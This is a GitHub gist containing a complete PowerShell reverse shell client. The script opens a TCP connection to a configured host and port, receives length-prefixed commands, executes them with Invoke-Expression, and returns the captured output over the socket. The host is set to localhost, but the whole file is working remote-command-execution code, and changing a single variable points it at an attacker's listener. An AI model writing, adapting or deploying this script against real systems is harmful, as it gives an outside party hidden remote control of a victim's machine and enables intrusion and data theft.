Skip to content

Instantly share code, notes, and snippets.

@carcigenicate
Created November 4, 2021 14:09
Show Gist options
  • Save carcigenicate/e53cc637f5fafa6210c7d370402ec592 to your computer and use it in GitHub Desktop.
Save carcigenicate/e53cc637f5fafa6210c7d370402ec592 to your computer and use it in GitHub Desktop.
using namespace System.Net.Sockets
$Encoder = [System.Text.Encoding]::UTF8
$REMOTE_HOST = "127.0.0.1"
$REMOTE_PORT = 1234
$N_CONNECT_RETIRES = 5
$SIZE_BUFFER_SIZE = 4
# FIXME: Currently ignoring endianess and assuming both machines are the same.
function Connect-Socket {
Param($HostName, $Port, $NRetries)
$CurrentTry = 0
while ($CurrentTry -lt $NRetries) {
try {
$Sock = New-Object TcpClient($HostName, $Port)
return $Sock
} catch [SocketException] {
$CurrentTry++
Write-Host "Failed to connect ($($CurrentTry)/$($NRetries))"
}
}
return $null
}
function Read-NBytes {
Param($Stream, $NToRead)
$Buffer = [byte[]]::new($NToRead)
$NRead = 0
while ($NRead -lt $NToRead) {
$NRead += $Stream.Read($Buffer, $NRead, ($NToRead - $NRead))
#Write-Host "Read $NRead"
}
return $Buffer
}
function Start-CommandLoop {
Param($Sock)
$Stream = $Sock.GetStream()
while ($true) {
#Write-Host "Starting loop..."
$NToReadBytes = Read-NBytes $Stream $SIZE_BUFFER_SIZE # Read in how much to read
$NToRead = [System.BitConverter]::ToInt32($NToReadBytes, 0) # FIXME: Check to ensure non-null
$CommandBytes = Read-NBytes $Stream $NToRead
$Command = $Encoder.GetString($CommandBytes)
#Write-Host "Recieved command: $Command"
if ($Command -iin @("quit", "exit")) {
break # Handle connection breakages, as well as legitimate exits?
} elseif ($Command) {
try {
# FIXME: Wrapping $Command causing squeezing. Need because = has low precendence.
$OutputStr = Invoke-Expression "($Command) *>&1 | Out-String" # Execute, redirect all streams, and stringify output
} catch [System.SystemException] {
$OutputStr = $_.Exception.Message
}
$OutputStr += " " # Concatenating a single space because sending nothing is problematic
$OutputBytes = $Encoder.GetBytes($OutputStr)
Write-Host "Sending output. Length: $($OutputBytes.Length)"
$Stream.Write([System.BitConverter]::GetBytes($OutputBytes.Length), 0, $SIZE_BUFFER_SIZE) # Tell the client how much to read
$Stream.Write($OutputBytes, 0, $OutputBytes.Length)
} else {
Write-Host "Bad command read: $Command" # TODO: Get rid of
}
}
}
$Sock = Connect-Socket $REMOTE_HOST $REMOTE_PORT $N_CONNECT_RETIRES
if ($Null -ne $Sock) {
try {
Start-CommandLoop $Sock
} catch [System.IO.IOException] {
Write-Host ""
} finally {
$Sock.Close()
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment